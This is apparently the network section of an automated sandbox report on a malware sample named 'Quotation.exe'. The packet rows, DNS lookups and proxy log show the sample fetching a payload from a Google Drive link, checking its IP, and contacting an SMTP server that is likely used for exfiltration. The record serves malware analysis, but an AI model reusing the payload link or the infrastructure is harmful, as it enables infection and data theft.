Nov 4, 2024 10:00:32.034414053 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.040898085 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.040947914 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.041027069 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.041071892 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.041337967 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.041378975 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.041409969 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.041449070 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.041632891 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.041676044 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.142045021 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.142154932 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.142184019 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.142234087 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.145200014 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.145246983 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.145334005 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.145380020 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.145544052 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.145586967 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.145745993 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.145787001 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.152112007 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.152204037 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.152254105 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.152293921 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.158723116 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.158885002 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.158889055 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.158934116 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.159017086 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.159064054 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.159084082 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.159130096 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.159387112 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.159429073 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.259723902 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.259785891 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.259792089 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.259829998 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.259838104 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.259872913 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.265758991 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.265819073 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.265822887 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.265862942 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.265866041 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.265908957 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.265923023 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.265966892 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.270529985 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.270581961 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.270694971 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.270750999 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.276480913 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.276539087 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.276626110 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.276667118 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.276678085 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.276726007 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.276913881 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.276962042 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.321527004 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.321630001 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.321635962 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.321683884 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.377582073 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.377652884 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.377659082 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.377698898 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.380940914 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.381004095 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.381088972 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.381134987 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.387598038 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.387687922 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.387717009 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.387758017 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.388370037 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.388415098 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.394298077 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.394359112 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.394439936 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.394484997 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.394613028 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.394659042 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.394809961 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.394860029 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.394890070 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.394931078 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.394934893 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.394978046 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.395072937 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.395108938 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.438617945 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.438673019 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.438677073 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.438715935 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.495919943 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.495973110 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.496010065 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.496052980 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.498656034 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.498708963 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.498768091 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.498809099 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.505330086 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.505387068 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.505390882 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.505434990 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.512288094 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.512368917 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.512427092 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.512471914 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.512588024 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.512628078 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.512634993 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.512676954 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.512856960 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.512900114 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.513020992 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.513060093 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.561594009 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.561686039 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.561711073 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.561750889 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.561758995 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.561800003 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.562007904 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.562058926 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.613471985 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.613526106 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.613533020 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.613567114 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.613579035 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.613617897 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.616662025 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.616816044 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.616821051 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.616867065 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.623378038 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.623450994 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.623455048 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.623495102 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.630013943 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.630079985 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.630136013 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.630177021 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.630181074 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.630222082 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.630439043 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.630487919 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.630569935 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.630618095 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.630745888 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.630795002 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.679501057 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.679553032 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.679591894 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.679627895 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.679632902 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.679672956 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.679920912 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.679965973 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.732541084 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.732631922 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.732639074 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.732678890 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.735444069 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.735492945 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.735553026 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.735598087 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.741595984 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.741642952 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.741739035 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.741785049 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.749022961 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.749147892 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.749182940 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.749222994 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.749227047 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.749260902 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.749423981 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.749466896 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.749605894 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.749651909 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.749810934 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.749852896 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.749856949 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.749898911 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.797509909 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.797763109 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.797768116 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.797832012 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.797866106 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.797907114 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.797920942 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.797965050 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.850083113 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.850147963 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.850178957 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.850222111 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.853262901 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.853435993 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.853441000 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.853532076 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.859366894 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.859451056 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.859484911 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.859555960 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.859560013 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.859586000 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.859592915 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.859600067 CET	443	49773	142.250.185.97	192.168.2.5
Nov 4, 2024 10:00:32.859606981 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:32.859668016 CET	49773	443	192.168.2.5	142.250.185.97
Nov 4, 2024 10:00:33.328067064 CET	49802	443	192.168.2.5	104.26.13.205
Nov 4, 2024 10:00:33.328094006 CET	443	49802	104.26.13.205	192.168.2.5
Nov 4, 2024 10:00:33.328170061 CET	49802	443	192.168.2.5	104.26.13.205
Nov 4, 2024 10:00:33.331073046 CET	49802	443	192.168.2.5	104.26.13.205
Nov 4, 2024 10:00:33.331085920 CET	443	49802	104.26.13.205	192.168.2.5
Nov 4, 2024 10:00:33.943159103 CET	443	49802	104.26.13.205	192.168.2.5
Nov 4, 2024 10:00:33.943250895 CET	49802	443	192.168.2.5	104.26.13.205
Nov 4, 2024 10:00:33.944834948 CET	49802	443	192.168.2.5	104.26.13.205
Nov 4, 2024 10:00:33.944848061 CET	443	49802	104.26.13.205	192.168.2.5
Nov 4, 2024 10:00:33.945152998 CET	443	49802	104.26.13.205	192.168.2.5
Nov 4, 2024 10:00:33.950685024 CET	49802	443	192.168.2.5	104.26.13.205
Nov 4, 2024 10:00:33.995336056 CET	443	49802	104.26.13.205	192.168.2.5
Nov 4, 2024 10:00:34.125526905 CET	443	49802	104.26.13.205	192.168.2.5
Nov 4, 2024 10:00:34.125637054 CET	443	49802	104.26.13.205	192.168.2.5
Nov 4, 2024 10:00:34.125695944 CET	49802	443	192.168.2.5	104.26.13.205
Nov 4, 2024 10:00:34.131138086 CET	49802	443	192.168.2.5	104.26.13.205
Nov 4, 2024 10:00:35.791871071 CET	49815	587	192.168.2.5	67.23.226.139
Nov 4, 2024 10:00:35.798650980 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:35.798760891 CET	49815	587	192.168.2.5	67.23.226.139
Nov 4, 2024 10:00:36.501033068 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:36.501220942 CET	49815	587	192.168.2.5	67.23.226.139
Nov 4, 2024 10:00:36.506201982 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:37.581612110 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:37.581650972 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:37.581680059 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:37.581744909 CET	49815	587	192.168.2.5	67.23.226.139
Nov 4, 2024 10:00:37.581854105 CET	49815	587	192.168.2.5	67.23.226.139
Nov 4, 2024 10:00:37.581854105 CET	49815	587	192.168.2.5	67.23.226.139
Nov 4, 2024 10:00:37.582514048 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:37.582608938 CET	49815	587	192.168.2.5	67.23.226.139
Nov 4, 2024 10:00:37.587863922 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:37.739248991 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:37.739610910 CET	49815	587	192.168.2.5	67.23.226.139
Nov 4, 2024 10:00:37.744510889 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:37.908931017 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:37.908957005 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:37.909049034 CET	49815	587	192.168.2.5	67.23.226.139
Nov 4, 2024 10:00:37.909889936 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:37.909970999 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:37.910020113 CET	49815	587	192.168.2.5	67.23.226.139
Nov 4, 2024 10:00:37.910162926 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:37.925327063 CET	49815	587	192.168.2.5	67.23.226.139
Nov 4, 2024 10:00:37.930217981 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:38.078052044 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:38.080600023 CET	49815	587	192.168.2.5	67.23.226.139
Nov 4, 2024 10:00:38.085453987 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:38.235836983 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:38.236675978 CET	49815	587	192.168.2.5	67.23.226.139
Nov 4, 2024 10:00:38.241573095 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:38.390033960 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:38.390918016 CET	49815	587	192.168.2.5	67.23.226.139
Nov 4, 2024 10:00:38.395812988 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:38.558218002 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:38.558578014 CET	49815	587	192.168.2.5	67.23.226.139
Nov 4, 2024 10:00:38.563425064 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:38.846560001 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:38.846755981 CET	49815	587	192.168.2.5	67.23.226.139
Nov 4, 2024 10:00:38.851536036 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:39.029341936 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:39.029984951 CET	49815	587	192.168.2.5	67.23.226.139
Nov 4, 2024 10:00:39.034840107 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:39.182426929 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:39.183120966 CET	49815	587	192.168.2.5	67.23.226.139
Nov 4, 2024 10:00:39.183182001 CET	49815	587	192.168.2.5	67.23.226.139
Nov 4, 2024 10:00:39.183212042 CET	49815	587	192.168.2.5	67.23.226.139
Nov 4, 2024 10:00:39.183242083 CET	49815	587	192.168.2.5	67.23.226.139
Nov 4, 2024 10:00:39.188002110 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:39.188043118 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:39.188133955 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:39.188138008 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:39.354703903 CET	587	49815	67.23.226.139	192.168.2.5
Nov 4, 2024 10:00:39.410228968 CET	49815	587	192.168.2.5	67.23.226.139

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 4, 2024 10:00:26.771666050 CET	59813	53	192.168.2.5	1.1.1.1
Nov 4, 2024 10:00:26.778480053 CET	53	59813	1.1.1.1	192.168.2.5
Nov 4, 2024 10:00:28.282558918 CET	58355	53	192.168.2.5	1.1.1.1
Nov 4, 2024 10:00:28.290019989 CET	53	58355	1.1.1.1	192.168.2.5
Nov 4, 2024 10:00:33.318192959 CET	56720	53	192.168.2.5	1.1.1.1
Nov 4, 2024 10:00:33.325041056 CET	53	56720	1.1.1.1	192.168.2.5
Nov 4, 2024 10:00:35.161303043 CET	52769	53	192.168.2.5	1.1.1.1
Nov 4, 2024 10:00:35.790688038 CET	53	52769	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 4, 2024 10:00:26.771666050 CET	192.168.2.5	1.1.1.1	0xee1a	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Nov 4, 2024 10:00:28.282558918 CET	192.168.2.5	1.1.1.1	0x12f3	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Nov 4, 2024 10:00:33.318192959 CET	192.168.2.5	1.1.1.1	0xd6a3	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Nov 4, 2024 10:00:35.161303043 CET	192.168.2.5	1.1.1.1	0x1ce7	Standard query (0)	mail.showpiece.trillennium.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 4, 2024 10:00:26.778480053 CET	1.1.1.1	192.168.2.5	0xee1a	No error (0)	drive.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 4, 2024 10:00:28.290019989 CET	1.1.1.1	192.168.2.5	0x12f3	No error (0)	drive.usercontent.google.com		142.250.185.97	A (IP address)	IN (0x0001)	false
Nov 4, 2024 10:00:33.325041056 CET	1.1.1.1	192.168.2.5	0xd6a3	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Nov 4, 2024 10:00:33.325041056 CET	1.1.1.1	192.168.2.5	0xd6a3	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Nov 4, 2024 10:00:33.325041056 CET	1.1.1.1	192.168.2.5	0xd6a3	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Nov 4, 2024 10:00:35.790688038 CET	1.1.1.1	192.168.2.5	0x1ce7	No error (0)	mail.showpiece.trillennium.biz	showpiece.trillennium.biz		CNAME (Canonical name)	IN (0x0001)	false
Nov 4, 2024 10:00:35.790688038 CET	1.1.1.1	192.168.2.5	0x1ce7	No error (0)	showpiece.trillennium.biz		67.23.226.139	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49767	142.250.186.174	443	2284	C:\Users\user\Desktop\Quotation.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-04 09:00:27 UTC	216	OUT	GET /uc?export=download&id=1JtejAXTm-04H2_VGdyQPa2y9ROwwzcu6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-11-04 09:00:28 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 04 Nov 2024 09:00:28 GMT Location: https://drive.usercontent.google.com/download?id=1JtejAXTm-04H2_VGdyQPa2y9ROwwzcu6&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-GaPg9xPEXf1kDz-t9sICEg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com 